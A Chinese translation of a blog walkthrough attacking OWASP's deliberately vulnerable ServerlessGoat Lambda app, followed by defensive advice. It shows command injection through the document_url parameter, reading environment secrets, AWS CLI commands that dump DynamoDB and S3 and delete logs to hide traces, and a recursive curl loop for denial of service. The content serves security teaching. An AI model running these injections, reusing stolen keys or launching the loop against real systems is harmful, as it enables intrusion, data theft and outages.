无服务器事件驱动计算不仅在初创企业中,而且在大型企业中都获得了巨大的吸引力,因为他们希望利用独立的微服务,这可以快速迭代,成本只是传统计算价格的一小部分。

serverless 一样棒,如果您不利用我所说的我们设计和构建应用程序的方式以及 ops 方式的革命,那么您将错失良机 区域工程。在您所做的一切事情中,安全仍然需要放在首位。

云计算提供商为您处理了很多繁重的工作 - 后台有无数服务器处理您的 Lambda 函数,AWS 为您处理这些,保护您并解决问题,以及许多(幸运的是)为我们抽象的其他任务。

但是,如果您使用的是第三方库,或者您无法将安全或 API 网关配置为最佳实践,那么您就陷入了困境。

在本文中,我将展示目前正在被利用的 serverless 中一些最常见的安全漏洞以及如何防范这些漏洞。为此,我们将使用来自 OWASP](https://github.com/OWASP/Serverless-Goat)的[ServerlessGoat。

部署无服务器山羊

查看GitHub 存储库,然后打开AWS Serverless Application Repository部署 Lambda 应用程序(我建议不要部署到“生产”帐户,毕竟这个项目容易受到设计)。

CloudFormation 完成其过程后,检查结果/控制台以获取应用程序 URL:

_ 检查应用程序 URL _

我们的第一次访问

现在我们有了我们的 URL,让我们去那里看看我们有什么:

默认的 ServerlessGoat Lambda 主页

该应用程序非常简单,OWASP 的描述告诉你你需要知道的一切:

ServerlessGoat 是一个简单的 AWS Lambda 应用程序,它将 MS-Word .doc 文件提供给将其转换为纯文本的服务。它将 .doc 文件的 URL 作为输入并返回文档中的文本。

自动填充的链接 https://www.puresec.io/hubfs/document.doc 是 Puresec 托管的 Word 文档的合法链接,所以让我们上传它然后检查标题。

我们请求的响应标头

正如您在突出显示的区域中看到的那样,我们已经可以看到应用程序通过 AWS API Gateway 公开,并且返回的数据保存在 S3 存储桶中。让我们看看如果我们在没有指定文档的情况下向端点发送 GET 请求会发生什么:

同样,不传递参数document_url:

[](https://res.cloudinary.com/practicaldev/image/fetch/s--GdvTzl6a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thetestlabs.io/img/利用无服务器/无 url-parameter.png)

第二个结果返回一个非常有趣的堆栈跟踪。我们所做的是确认我们正在使用在 AWS Lambda 上运行的 serverless 应用程序(exports.handler 的存在和 /var/task 的执行向我们展示了这一点)并且 API 请求未使用所需参数进行验证。类似于小Bobby Tables,我们可以利用它来发挥我们的优势并从应用程序中获取一些数据。

事件数据注入

事件数据注入在Serverless Security Weaknesses guide中排名第一,并且可能是迄今为止针对无服务器应用程序的最大和最受滥用的攻击向量。这种攻击方法的工作原理是通过事件将格式错误的数据传递给例如 Lambda 函数。

https://nat0yiioxc.execute-api.us-west-2.amazonaws.com/Prod/api/convert?document_urlu003dhttps://www.puresec.io/hubfs/document 上执行 GET .doc; ls /var/task 返回一堆关于 word 文档格式的垃圾,但它返回了一些数据。如果我们不使用有效的 URL 怎么办?

相反,如果我们在 https://YouReallyShouldPayAttentionToServerlessSecurity上执行 GET ; ls /var/task/,我们得到-bin, index.js, node_modules, package.json,结果是package-lock.json。这样,得到Lambda函数代码就很简单了。让我们将 ls /var/task/ 更改为 cat /var/task/index.js 看看我们得到了什么:

const child_process = require('child_process');
const AWS = require('aws-sdk');
const uuid = require('node-uuid');

async function log(event) {
  const docClient = new AWS.DynamoDB.DocumentClient();
  let requestid = event.requestContext.requestId;
  let ip = event.requestContext.identity.sourceIp;
  let documentUrl = event.queryStringParameters.document_url;

  await docClient.put({
      TableName: process.env.TABLE_NAME,
      Item: {
        'id': requestid,
        'ip': ip,
        'document_url': documentUrl
      }
    }
  ).promise();

}

exports.handler = async (event) => {
  try {
    await log(event);

    let documentUrl = event.queryStringParameters.document_url;

    let txt = child_process.execSync(`curl --silent -L ${documentUrl} | ./bin/catdoc -`).toString();

    // A resposta máxima da Lambda é 6MB. A alternativa é fazer o upload para o S3 e redirecionar o usuário para o arquivo.
    let key = uuid.v4();
    let s3 = new AWS.S3();
    await s3.putObject({
      Bucket: process.env.BUCKET_NAME,
      Key: key,
      Body: txt,
      ContentType: 'text/html',
      ACL: 'public-read'
    }).promise();

    return {
      statusCode: 302,
      headers: {
        "Location": `${process.env.BUCKET_URL}/${key}`
      }
    };
  }
  catch (err) {
    return {
      statusCode: 500,
      body: err.stack
    };
  }
};

这就是 Lambda 函数的内容!! 😱

现在我对 Node.js 的了解是有限的,至少可以说,但是阅读代码首先突出的是对node-uuid的依赖,对存储请求信息的 DynamoDB 表的引用,以及大于 6MB 的字将写入 S3,并返回已保存对象的链接。在第一次审查中我可能遗漏了一些东西,但没关系。

DynamoDB e S3

我感兴趣的第一件事是 DynamoDB 表,因为它可以包含敏感数据,所以我会看看我们能用它做什么。我不得不承认,尝试在 Node 中正确创建订单并没有让我振作起来(我有没有提到 Node.js 不是我的强项?!),所以我尝试了另一种方法。具体来说,由于我们之前成功地返回了数据,我想我会看看我们是否可以获得与函数关联的环境变量。

使用查询 u200chttps://YouReallyShouldPayAttentionToServerlessSecurity; env 返回一个巨大的结果,公开密钥、会话令牌、S3 存储桶 URL、日志流等。然后,使用该信息,我们将尝试再次访问 DynamoDB 表。

export AWS_ACCESS_KEY_ID=ASIAX6VC3CWRMPJG5VPA
export AWS_SECRET_ACCESS_KEY=BM6k5CwaS2M/65BRp/lUIzu8Z1nqEAXr+hSDS6+O
export AWS_SESSION_TOKEN=AgoJb3Jp......
aws dynamodb scan --table-name serverlessrepo-serverless-goat-Table-3DZUWAE16E6H --region eu-west-2

我们成功并获得了整个表的转储,其中显示了发送到该站点的所有请求以及与该请求关联的 IP 地址。让我们尝试对 S3 存储桶做类似的事情,因为我们有 URL 名称,在函数的环境变量中捕获。

u200caws s3 ls serverlessrepo-serverless-goat-bucket-1ayfjxtlpuv0h 列出存储桶的内容,假设我们可以访问它,我们可以使用 aws s3 sync s3://serverlessrepo- serverless 下载所有内容-goat-bucket-1ayfjxtlpuv0h .,这样我们将获得桶中全部内容的转储

分析存储桶的内容,它包含传递给它的请求的详细信息。所以有我发送的格式错误的请求的记录以及我的 IP 地址。不用担心,因为下面的命令证明了bucket上没有启用MFA删除,所以我可以删除我一直在这里的所有记录!

aws s3api delete-object --bucket serverlessrepo-serverless-goat-bucket-1ayfjxtlpuv0h --key 5cde5d74-ea7b-43...

回顾一下,到目前为止,我们有 DynamoDB 表的内容和存储在 S3 中的所有应用程序数据,我们可以对其进行操作以获得各种结果,而不仅仅是删除我们正在做的事情的证据。我们还拥有 Lambda 函数和环境变量的index.js内容,其中包括可用于从 CLI 与环境交互的密钥和会话令牌信息。

这已经很多了,所以让我们看看还能找到什么。

扫描第三方漏洞和拒绝服务

之前,我们查看**/var/task**的内容时,得到如下结果:binindex.jsnode_modulespackage.jsonpackage-lock.json。不看cat /var/task/package.json,看看这是什么依赖版本是不礼貌的服务正在使用:

{
    "private": true,
    "dependencies": {
        "node-uuid": "1.4.3"
    }
}

如前所述,Node 并不是我真正喜欢的茶,但快速谷歌显示它用于生成 RFC4122 UUIDS(有道理),并且版本 1.4.3 大约有五年的历史 - 当前版本的node-uuid是 3.3 .2.让我们问一下Snyk看看这个依赖中可能存在哪些漏洞。

不幸的是,只有一个中等严重性问题被列为具有高攻击复杂性 - 我希望有一些关键而简单的问题! 😂

此软件包的受影响版本容易受到不安全随机性的影响。它使用加密不安全的 Math.random,它可以产生可预测的值,不应该在安全敏感的上下文中使用。

该函数用于生成 Bucket S3 的密钥,并且由于我们已经拥有对 S3 的完全访问权限,所以我想不出一个有趣的攻击向量,所以我将继续。

在尝试了其他一些事情之后,包括创建一个我希望运行的新文件(文件系统是只读的),我更深入地查看了文档。我没有想到的是该应用程序容易受到拒绝服务攻击。

这是通过滥用并发执行的保留容量来完成的。默认情况下,每个 AWS 账户有 1000 次并发运行的限制,而设置 Lambda 函数的人设置了 5 次并发运行的预留容量。此保留容量设置是一个好主意,因为它会破坏单个功能,耗尽您帐户上可用的整个并发限制。

但是将阈值设置为 5 意味着如果我们可以多次递归调用该函数,它将使应用程序对合法用户不可用。我将从文档中复制并粘贴此解释,因为它很好地解释了该过程:

  • 创建一个 URL,从实际的 API URL 开始

  • 设置document_url的值来调用自己,但是对URL进行编码(现在是参数值)

  • 全部复制,对整个值进行 URL 编码,并将其作为参数值粘贴到普通 API URL

  • 重复这个过程5x,你会有一个很长的URL

现在,让 AWS Lambda 至少调用 100 次以保持忙碌。例如:

for i in {1..100}; do
 echo $i
 curl -L https://{paste_url_here}
done

让它运行,并在不同的终端窗口中运行另一个循环,使用简单的 API 调用。如果你幸运的话,你会时不时地注意到来自服务器的错误响应(或者它是无服务器的?:P)。是的,其他用户无法使用该服务。

我花了一段时间才收到错误消息,但最终它们开始出现,证明了对无服务器应用程序成功发起拒绝服务攻击的可能性。

我们探索的内容以及如何保护无服务器应用程序

如果不解释如何防御它们,我将不负责详细说明这些攻击媒介。因此,我将看看我们利用了什么,我们是如何利用它们的,以及如何确保您的无服务器应用程序没有相同的漏洞。

让我们从我们探索的攻击向量和错误配置开始:

  • API 网关配置错误

  • 事件数据注入

  • 配置异常处理失败

  • 不安全的配置

  • 过多的权限

  • 不安全的依赖关系

  • 拒绝服务的敏感性

API 网关配置错误

API Gateway 未配置为执行任何请求验证,这是 AWS 开箱即用的功能。在其文档中,Amazon 列出了 API Gateway 可以执行基本验证的两种方式:

  • URI 中的必需请求参数、查询字符串和传入请求的标头已包含在内且不为空。

  • 根据方法中配置的 JSON 模板验证请求正文

我们能够在没有所需的document_url参数和格式错误的请求中包含空格的情况下向后端发送请求 - 如果您需要一个 URL,您应该检查一下。

如果请求验证设置正确,我们将无法使用我们所做的攻击向量。

事件数据注入

我们可以类比将数据注入到现代云原生应用程序的 SQL 注入等事件中。本质上,它涉及将请求或数据作为应用程序开发人员未预期或未计划的事件的一部分传递。

例如,我们正在测试的 Lambda 函数依赖于传递的输入,而无需进行任何类型的评估。这允许我们传递最终执行或评估的命令——在这种情况下,为了操作系统命令注入。

要记住的重要一点是开发人员仍然负责应用程序代码。多年来,我们都知道我们必须始终清理用户输入,并且对于事件驱动的无服务器应用程序,我们需要更加专心。

配置异常处理失败

我们在上面看到了无服务器应用程序如何返回详细异常,这是我们看到代码在 AWS Lambda 上运行的第一个确认。

这与您负责代码的上述观点有关 - 如果开发人员已经实施了适当的异常处理,我们就不会看到堆栈跟踪

不安全的配置和过多的权限

这个应用程序中有一些不安全的设置帮助我们探索它。

首先,应用程序是使用 AWS SAM 部署的,包括默认策略。 Lambda 函数将数据写入 DynamoDB 表,因此它显然需要特权dynamodb:PutItem,但仅此而已。但是,部署的策略是默认的 DynamoDB CRUD 策略,其中包含的权限远远超过必要的权限。

最小权限原则不仅要记住,而且要实施。如有疑问,从零权限开始并进行增量更改,直到您有足够的权限满足您的需求。

S3 存储桶也是公开的,可以在标头中轻松找到名称。没有真正需要这样做,因为唯一需要访问的对象是文档大小超过 6MB 时。这些文档可以上传到单独的 S3 存储桶,并生成预签名 URL并呈现给客户端。

不安全的依赖关系

虽然我们没有看到利用第三方软件中的漏洞的方法,但我们已经发现它存在。

有几个可用的 OSS 依赖检查器可以用来测试第三方库包中依赖项中的漏洞。

我们使用了Snyk,它有一个可用于开源项目的免费选项,并且可以配置为检查您的存储库并查找问题。

这只是最佳实践,如果您还没有这样做,实现起来非常简单。

拒绝服务敏感性

这不是无服务器应用程序立即想到的攻击媒介,我们认为无服务器应用程序本质上是可扩展的。我不介意承认这不是我在更详细地查看文档之前考虑过的事情。

您可以采取多种措施来保护您的无服务器应用程序免受此类攻击,具体取决于您的特定设计和应用程序入口点。

  • 在 API Gateway 中设置配额和限制条件

  • 根据您的 API,考虑启用 API 响应缓存,减少对 API 端点的调用量

  • 确保明智地使用预留容量限制,以免攻击者耗尽您帐户的全部容量

  • 始终实现多次处理同一事件的可能性 - 使用SQS和死信队列 (Dead Letter Queues)可以限制攻击面

最后的想法 - 监控

记录一切,监控一切,在您需要时告诉我们。

掌握相关指标不仅可以让您识别问题,还可以针对您的应用程序的架构和潜在改进做出数据驱动的决策。例如:

  • 监控 Lambda 指标,例如超时等

  • 监控节流指标

  • 监控并发执行

  • 学习了解什么是“正常”,然后确保在事情发生变化时收到警报

积分⭐️

  • 利用 AWS 中的常见无服务器安全漏洞, escrito originalmente porChris McQuaid
Logo

云原生社区为您提供最前沿的新闻资讯和知识内容

更多推荐